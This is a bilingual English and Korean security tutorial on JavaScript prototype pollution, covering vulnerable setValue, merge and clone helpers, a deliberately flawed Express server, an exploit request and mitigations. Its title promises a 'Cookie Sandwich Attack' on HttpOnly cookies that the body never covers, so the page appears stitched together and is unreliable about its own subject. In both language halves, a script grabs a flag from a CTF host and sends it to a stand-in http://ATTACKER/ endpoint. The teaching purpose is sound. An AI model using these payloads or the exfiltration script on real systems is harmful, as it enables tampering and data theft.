Cookie Sandwich Attack: Is HttpOnly Really Safe?
Understanding Cookie Sandwich Attack technique for stealing HttpOnly cookies
Prototype Pollution is a vulnerability specific to JavaScript. It lets an attacker inject a property into Object.prototype, and because almost every object in an application inherits from that prototype, the injected property shows up on objects the attacker never touched. The key that makes this work is __proto__: on a plain object, obj.__proto__ points straight at Object.prototype. Write through that reference once and you have changed a default that the entire application reads back.
JavaScript builds inheritance on prototypes. When you read a property or call a method on an object and it is not defined there, the engine walks up the prototype chain to the parent object and keeps looking until it finds the property or runs out of chain. That lookup is what makes prototypes useful, and it is also where the danger comes from: change something high up the chain and you change the default behavior every object below it sees.
It starts with __proto__. On a plain object it is a reference to Object.prototype, the shared root that ordinary objects inherit from. Writing a property through it does not touch one object, it touches the root that all of them read.
const obj1 = {};
console.log(obj1.__proto__ === Object.prototype); // true
obj1.__proto__.polluted = 1;
const obj2 = {};
console.log(obj2.polluted); // 1
Here obj1 and obj2 are separate objects that were never connected. Assigning obj1.__proto__.polluted = 1 writes onto Object.prototype, so obj2.polluted resolves to 1 through the chain even though nothing was ever written to obj2.
In real code this rarely looks like a direct __proto__ assignment. It happens when user input controls the key path an object is written to, and the code walks that path without checking for dangerous segments. Three patterns account for most of it: recursive property assignment, recursive object merge, and object cloning that is built on merge.
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function setValue(obj, key, value) {
const keylist = key.split('.');
const e = keylist.shift();
if (keylist.length > 0) {
if (!isObject(obj[e])) obj[e] = {};
setValue(obj[e], keylist.join('.'), value);
} else {
obj[key] = value;
return obj;
}
}
const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1
setValue splits a dotted key such as "__proto__.polluted" into segments and recurses into the object one segment at a time, creating intermediate objects as it goes. When the first segment is __proto__, obj[e] is Object.prototype, so the recursion descends into the prototype and the final assignment lands there. obj2 never took part, yet obj2.polluted reads back 1.
function merge(a, b) {
for (let key in b) {
if (isObject(a[key]) && isObject(b[key])) {
merge(a[key], b[key]);
} else {
a[key] = b[key];
}
}
return a;
}
const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // 1
Recursive merge is the pattern you meet most often in the wild, because merging user-supplied JSON into a config or options object is everywhere. JSON.parse('{"__proto__":{"polluted":1}}') produces an object whose __proto__ key is an own, enumerable property, so for (let key in b) iterates over it. The merge then recurses into a["__proto__"], which is Object.prototype, and writes polluted onto it. Every object created afterward inherits the value.
function clone(obj) {
return merge({}, obj);
}
const obj1 = JSON.parse('{"__proto__":{"polluted":1}}');
const obj2 = clone(obj1);
const obj3 = {};
console.log(obj3.polluted); // 1
clone is just merge({}, obj), so it carries the merge bug with it. Cloning an object that was parsed from attacker-controlled JSON pollutes the prototype exactly the way a direct merge would. Anything built on top of a vulnerable merge inherits the same weakness.
The patterns above are easy to dismiss as textbook snippets. On a server they turn into a request handler that copies untrusted JSON into an object, which is a normal-looking thing to do.
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function merge(a, b) {
for (let key in b) {
// this branch must skip key === "__proto__"
if (isObject(a[key]) && isObject(b[key])) {
merge(a[key], b[key]);
} else {
a[key] = b[key];
}
}
return a;
}
function clone(obj) {
return merge({}, obj);
}
const express = require('express');
const app = express();
app.use(express.json());
app.post('/', (req, res) => {
// cloning the attacker JSON as-is pollutes the prototype here
const obj = clone(req.body);
const r = {};
// r.status is now tampered via prototype pollution
const status = r.status ? r.status: 'NG';
res.send(status)
});
app.listen(1234);
The handler calls clone(req.body) on the parsed request body, which runs the vulnerable merge over data the client fully controls. The comment on the merge marks the missing check: when key is __proto__, the code should skip it instead of recursing into the prototype, and it does not. A few lines later the server builds a fresh object r and reads r.status, falling back to 'NG' when it is absent. Nothing ever writes r.status, so under normal traffic the response is NG. Once the prototype is polluted, r.status resolves through the chain to the attacker’s value.
const http = require('http');
const client = http.request({
host: 'localhost',
port: 1234,
method: 'POST'
}, (res) => {
res.on('data', (chunk) => {
console.log(chunk.toString());
});
});
const data = '{"__proto__":{"status":"polluted"}}';
client.setHeader('content-type', 'application/json');
client.end(data);
The payload is a single JSON body, {"__proto__":{"status":"polluted"}}, posted with a JSON content type so express.json() parses it. After the server clones it, Object.prototype.status is set. The next read of r.status returns polluted, and the response flips from NG to polluted. One request changed a value the application computed for itself.
The demonstration changes a status string, which looks harmless on its own. What makes Prototype Pollution serious is that the polluted property is global to the process: every object that later reads that property without defining it gets the attacker’s value. Depending on what the application does with such defaults, that ranges from bypassing application logic and flipping access checks to crashing the process when a polluted value breaks an assumption made somewhere else.
The reach grows when a polluted property feeds into a sink that already exists in the codebase, often called a gadget. If a client-side gadget copies a polluted property into the DOM or into a script context, the pollution can be chained into XSS. If a server-side gadget passes a polluted property into a child process, a template, or a function that treats data as code, it can lead to code execution. Both outcomes depend on a suitable gadget being present, so treat them as possibilities to check for rather than guaranteed results.
<script>
fetch('http://2023whs.arang.kr:9200/prototype_pollution.php').then(response => response.text()).then(data => {
let flag = data.match(/flag{.*?}/)[0];
fetch('http://ATTACKER/receive_flag?flag=' + flag);
});
</script>
This snippet sketches how a client-side pollution could be turned into data exfiltration. The flag{.*?} inside data.match(...) is a regular expression that pulls a matching value out of the fetched response body, not a real captured flag, so there is nothing to mask here. The exfiltration endpoint is generalized as http://ATTACKER/. In a real chain the injected script would be reached through a pollution gadget rather than added to the page by hand, but the shape stays the same: read something sensitive, then send it to a server the attacker controls.
The fixes fall into two groups: stop dangerous keys from ever reaching the prototype, and make the prototype impossible to write in the first place.
Skip dangerous keys - Before recursing or assigning during a merge or a deep set, reject the segments __proto__, constructor, and prototype. This is the missing check the vulnerable merge above pointed at with its comment.
Store data in prototype-less objects - Build lookup objects with Object.create(null). They have no prototype chain, so an attacker-controlled __proto__ key becomes an ordinary own property instead of a path to Object.prototype.
Use Map for key/value data - A Map keeps its entries separate from object properties, so writing a __proto__ key stores a normal entry and touches no prototype. Map is not available in legacy environments that predate modern JavaScript.
Object.freeze(Object.prototype) - Freezing the prototype blocks writes to it outright. The tradeoff is real: legitimate code that expects to extend Object.prototype can stop working, so test before shipping it.
Validate input against a JSON schema - Run incoming JSON through a validator such as ajv with a schema that whitelists the expected shape, so unexpected keys like __proto__ are rejected before any merge runs.
Keep libraries current - Widely used libraries such as lodash have shipped fixes for prototype pollution in their merge and set helpers. Staying on patched versions closes bugs you did not write yourself.
Prototype Pollution turns one careless merge or clone into a change that spreads across every object in the process. The root cause is small and easy to miss: user input reaches an object key path, and a __proto__ segment walks the write straight onto Object.prototype. There is no exotic primitive involved, just a recursive helper that trusts its keys.
The defense is just as small. Reject __proto__, constructor, and prototype where user input controls keys, keep lookup data in prototype-less objects or a Map, and validate the shape of JSON before merging it. Handle the keys and the shared prototype stops being a shared attack surface.
Prototype Pollution은 자바스크립트만의 독특한 취약점입니다. 공격자가 Object.prototype에 프로퍼티 하나를 슬쩍 심어 넣으면, 애플리케이션 안의 거의 모든 객체가 이 프로토타입을 상속받기 때문에 공격자가 건드린 적도 없는 객체에까지 그 프로퍼티가 튀어나오죠. 이걸 가능하게 하는 열쇠가 바로 __proto__입니다. 평범한 객체에서 obj.__proto__는 곧장 Object.prototype을 가리키거든요. 이 참조를 통해 딱 한 번만 값을 써 넣어도, 애플리케이션 전체가 읽어 들이는 기본값을 바꿔 버린 셈이 됩니다.
자바스크립트는 상속을 프로토타입 위에 세웁니다. 어떤 객체에서 프로퍼티를 읽거나 메서드를 호출했는데 거기에 정의돼 있지 않으면, 엔진은 프로토타입 체인을 따라 부모 객체로 거슬러 올라가면서 프로퍼티를 찾을 때까지, 아니면 체인이 끝날 때까지 계속 뒤져 봅니다. 바로 이 탐색 덕분에 프로토타입이 쓸모 있어지는 건데요. 동시에 위험이 싹트는 지점이기도 합니다. 체인의 위쪽에 있는 뭔가를 바꾸면, 그 아래 모든 객체가 보는 기본 동작이 통째로 바뀌어 버리니까요.
모든 건 __proto__에서 시작됩니다. 평범한 객체에서 이 값은 Object.prototype을 가리키는 참조인데요. 일반 객체들이 공통으로 상속받는 뿌리(root)죠. 이 참조를 통해 프로퍼티를 써 넣으면 객체 하나만 건드리는 게 아니라, 그 모두가 읽어 들이는 뿌리를 건드리게 됩니다.
const obj1 = {};
console.log(obj1.__proto__ === Object.prototype); // true
obj1.__proto__.polluted = 1;
const obj2 = {};
console.log(obj2.polluted); // 1
여기서 obj1과 obj2는 서로 아무 연결고리도 없는 별개의 객체입니다. 그런데 obj1.__proto__.polluted = 1을 실행하면 그 값이 Object.prototype에 써지기 때문에, obj2에는 아무것도 쓴 적이 없는데도 obj2.polluted가 체인을 타고 1로 읽힙니다. 신기하죠?
실제 코드에서는 이렇게 대놓고 __proto__에 값을 대입하는 모습으로 나타나는 경우가 거의 없습니다. 오히려 사용자 입력이 객체를 써 넣을 키 경로(key path)를 좌우하고, 코드가 그 경로에 위험한 조각이 섞였는지 확인하지 않고 그대로 타고 들어갈 때 벌어지죠. 대부분은 다음 세 가지 패턴에서 비롯됩니다. 재귀적 프로퍼티 대입, 재귀적 객체 병합(merge), 그리고 이 병합 위에 얹혀 만들어지는 객체 복제(clone)입니다.
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function setValue(obj, key, value) {
const keylist = key.split('.');
const e = keylist.shift();
if (keylist.length > 0) {
if (!isObject(obj[e])) obj[e] = {};
setValue(obj[e], keylist.join('.'), value);
} else {
obj[key] = value;
return obj;
}
}
const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1
setValue는 "__proto__.polluted"처럼 점(.)으로 이어진 키를 조각조각 나눈 뒤, 한 조각씩 객체 안으로 재귀해 들어가면서 중간 객체를 필요한 대로 만들어 냅니다. 그런데 첫 번째 조각이 __proto__라면 obj[e]가 바로 Object.prototype이 되거든요. 그래서 재귀가 프로토타입 속으로 파고들고, 마지막 대입이 결국 거기에 떨어집니다. obj2는 이 과정에 낀 적이 없는데도 obj2.polluted를 읽으면 1이 돌아오죠.
function merge(a, b) {
for (let key in b) {
if (isObject(a[key]) && isObject(b[key])) {
merge(a[key], b[key]);
} else {
a[key] = b[key];
}
}
return a;
}
const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // 1
재귀적 병합은 실전에서 가장 자주 마주치는 패턴입니다. 사용자가 넘긴 JSON을 설정 객체나 옵션 객체에 합쳐 넣는 일이 워낙 흔하니까요. JSON.parse('{"__proto__":{"polluted":1}}')는 __proto__ 키가 객체 자신의 열거 가능한(enumerable) 프로퍼티인 객체를 만들어 냅니다. 그래서 for (let key in b)가 이 키까지 순회하죠. 그다음 병합은 a["__proto__"], 그러니까 Object.prototype 속으로 재귀해 들어가 거기에 polluted를 써 넣습니다. 이후에 만들어지는 모든 객체가 이 값을 물려받게 되고요.
function clone(obj) {
return merge({}, obj);
}
const obj1 = JSON.parse('{"__proto__":{"polluted":1}}');
const obj2 = clone(obj1);
const obj3 = {};
console.log(obj3.polluted); // 1
clone은 사실상 merge({}, obj)일 뿐이라, 병합의 버그를 고스란히 짊어지고 다닙니다. 공격자가 주무를 수 있는 JSON에서 파싱된 객체를 복제하면, 직접 병합했을 때와 똑같이 프로토타입이 오염되죠. 취약한 병합 위에 쌓아 올린 것은 무엇이든 같은 약점을 물려받는 셈입니다.
위 패턴들은 교과서에나 나오는 짧은 예제라며 가볍게 넘기기 쉽습니다. 하지만 서버 위에서는 이야기가 달라지는데요. 믿을 수 없는 JSON을 객체에 복사해 넣는 요청 핸들러의 모습으로 둔갑하거든요. 겉보기엔 지극히 평범해 보이는 코드로요.
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function merge(a, b) {
for (let key in b) {
// key가 "__proto__"일 때는 이 분기를 건너뛰어야 한다
if (isObject(a[key]) && isObject(b[key])) {
merge(a[key], b[key]);
} else {
a[key] = b[key];
}
}
return a;
}
function clone(obj) {
return merge({}, obj);
}
const express = require('express');
const app = express();
app.use(express.json());
app.post('/', (req, res) => {
// 공격자 JSON을 그대로 복제하면 여기서 프로토타입이 오염된다
const obj = clone(req.body);
const r = {};
// 프로토타입 오염으로 r.status가 변조된 상태다
const status = r.status ? r.status: 'NG';
res.send(status)
});
app.listen(1234);
이 핸들러는 파싱된 요청 본문에 대고 clone(req.body)를 호출하는데요. 클라이언트가 통째로 좌우하는 데이터 위에서 취약한 병합을 그대로 돌려 버립니다. 병합에 달린 주석이 빠진 검사를 콕 집어 줍니다. key가 __proto__일 때는 프로토타입 속으로 재귀하는 대신 건너뛰어야 하는데, 이 코드는 그러질 않죠. 몇 줄 아래에서 서버는 새 객체 r을 만들고 r.status를 읽는데, 값이 없으면 'NG'로 대체합니다. r.status에는 아무도 값을 써 넣은 적이 없으니, 평범한 트래픽에서는 응답이 NG가 나오죠. 하지만 프로토타입이 한번 오염되고 나면, r.status는 체인을 타고 공격자가 심어 둔 값으로 읽힙니다.
const http = require('http');
const client = http.request({
host: 'localhost',
port: 1234,
method: 'POST'
}, (res) => {
res.on('data', (chunk) => {
console.log(chunk.toString());
});
});
const data = '{"__proto__":{"status":"polluted"}}';
client.setHeader('content-type', 'application/json');
client.end(data);
페이로드는 {"__proto__":{"status":"polluted"}}라는 JSON 본문 딱 하나입니다. JSON content type을 달아서 보내니 express.json()이 이를 파싱하죠. 서버가 이걸 복제하고 나면 Object.prototype.status가 세팅됩니다. 다음번에 r.status를 읽으면 polluted가 돌아오고, 응답은 NG에서 polluted로 뒤집히고요. 요청 단 한 방으로, 애플리케이션이 스스로 계산해 낸 값을 바꿔 버린 겁니다.
방금 시연에서는 status 문자열 하나를 바꿨을 뿐이라, 그 자체로는 별것 아닌 것처럼 보입니다. 그런데 Prototype Pollution을 진짜 심각하게 만드는 건, 오염된 프로퍼티가 프로세스 전역에 걸린다는 점입니다. 이후에 그 프로퍼티를 (직접 정의하지 않은 채) 읽는 모든 객체가 공격자의 값을 받아 가게 되거든요. 애플리케이션이 이런 기본값을 어디에 쓰느냐에 따라, 영향은 애플리케이션 로직 우회나 접근 검사 뒤집기부터, 오염된 값이 딴 곳에서 세워 둔 전제를 깨뜨려 프로세스를 통째로 죽이는 일까지 폭넓게 벌어집니다.
오염된 프로퍼티가 코드베이스에 이미 존재하는 싱크(sink)로 흘러 들어가면 그 파급력은 더 커집니다. 이런 싱크를 흔히 가젯(gadget)이라고 부르죠. 클라이언트 측 가젯이 오염된 프로퍼티를 DOM이나 스크립트 컨텍스트에 복사해 넣는다면, 이 오염은 XSS로 엮일 수 있습니다. 서버 측 가젯이 오염된 프로퍼티를 자식 프로세스나 템플릿, 혹은 데이터를 코드처럼 다루는 함수에 넘긴다면 코드 실행으로 이어질 수 있고요. 두 결과 모두 알맞은 가젯이 존재하느냐에 달려 있으니, 확정된 결과라기보다는 있는지 확인해 봐야 할 가능성으로 여기는 게 맞습니다.
<script>
fetch('http://2023whs.arang.kr:9200/prototype_pollution.php').then(response => response.text()).then(data => {
let flag = data.match(/flag{.*?}/)[0];
fetch('http://ATTACKER/receive_flag?flag=' + flag);
});
</script>
이 스니펫은 클라이언트 측 오염이 어떻게 데이터 탈취로 이어질 수 있는지 그 얼개를 스케치한 것입니다. data.match(...) 안의 flag{.*?}는 가져온 응답 본문에서 조건에 맞는 값을 뽑아내는 정규식이지, 실제로 캡처한 플래그가 아닙니다. 그래서 여기엔 가릴(mask) 것이 없고요. 탈취용 엔드포인트는 http://ATTACKER/로 일반화해 두었습니다. 실제 공격 체인에서라면 이 주입된 스크립트가 손으로 페이지에 붙는 게 아니라 오염 가젯을 통해 실행되겠지만, 큰 그림은 똑같습니다. 민감한 뭔가를 읽어서, 공격자가 쥐고 있는 서버로 흘려보내는 거죠.
대응책은 크게 두 갈래로 나뉩니다. 위험한 키가 애당초 프로토타입까지 닿지 못하게 막거나, 아니면 프로토타입 자체를 아예 쓸 수 없게 만드는 것이죠.
위험한 키를 걸러 내기 - 병합이나 깊은 대입(deep set) 도중에 재귀하거나 값을 넣기 전에, __proto__, constructor, prototype 조각을 거부합니다. 앞서 취약한 병합이 주석으로 짚어 줬던 바로 그 빠진 검사죠.
프로토타입 없는 객체에 데이터 담기 - 조회용 객체는 Object.create(null)로 만듭니다. 이런 객체는 프로토타입 체인이 없어서, 공격자가 넣은 __proto__ 키가 Object.prototype으로 통하는 길이 아니라 그냥 평범한 자기 프로퍼티가 됩니다.
키/값 데이터에는 Map 쓰기 - Map은 항목을 객체 프로퍼티와 따로 보관하기 때문에, __proto__ 키를 써 넣어도 평범한 항목 하나로 저장될 뿐 프로토타입은 건드리지 않습니다. 다만 Map은 모던 자바스크립트 이전의 레거시 환경에서는 쓸 수 없습니다.
Object.freeze(Object.prototype) - 프로토타입을 얼려 버리면 거기에 값을 쓰는 것 자체가 막힙니다. 대신 대가가 따르는데요. Object.prototype을 확장하려던 정상 코드가 멈춰 버릴 수 있으니, 배포 전에 꼭 테스트해 봐야 합니다.
JSON 스키마로 입력 검증하기 - 들어오는 JSON을 ajv 같은 검증기에 통과시키되, 기대하는 형태만 화이트리스트로 허용하는 스키마를 씁니다. 그러면 __proto__ 같은 예상 밖의 키가 병합이 돌기도 전에 걸러집니다.
라이브러리를 최신으로 유지하기 - lodash처럼 널리 쓰이는 라이브러리들은 merge, set 같은 헬퍼의 프로토타입 오염을 이미 패치해 배포했습니다. 패치된 버전을 쓰는 것만으로도, 내가 직접 짜지 않은 버그까지 막을 수 있고요.
Prototype Pollution은 부주의한 병합이나 복제 한 번을, 프로세스 안의 모든 객체로 번져 나가는 변화로 바꿔 놓습니다. 근본 원인은 작고 놓치기 쉽습니다. 사용자 입력이 객체의 키 경로까지 닿고, __proto__ 조각이 그 값을 곧장 Object.prototype으로 걸어 들어가게 하는 것이죠. 무슨 대단하고 희귀한 기법이 동원되는 것도 아닙니다. 그저 자기 키를 덜컥 믿어 버리는 재귀 헬퍼 하나면 충분하거든요.
방어책도 그만큼 단출합니다. 사용자 입력이 키를 좌우하는 곳에서는 __proto__, constructor, prototype을 거부하고, 조회용 데이터는 프로토타입 없는 객체나 Map에 담고, JSON은 병합하기 전에 그 형태를 검증하면 됩니다. 키만 제대로 다뤄 주면, 공유되던 프로토타입이 더는 공유된 공격 표면이 되지 않습니다.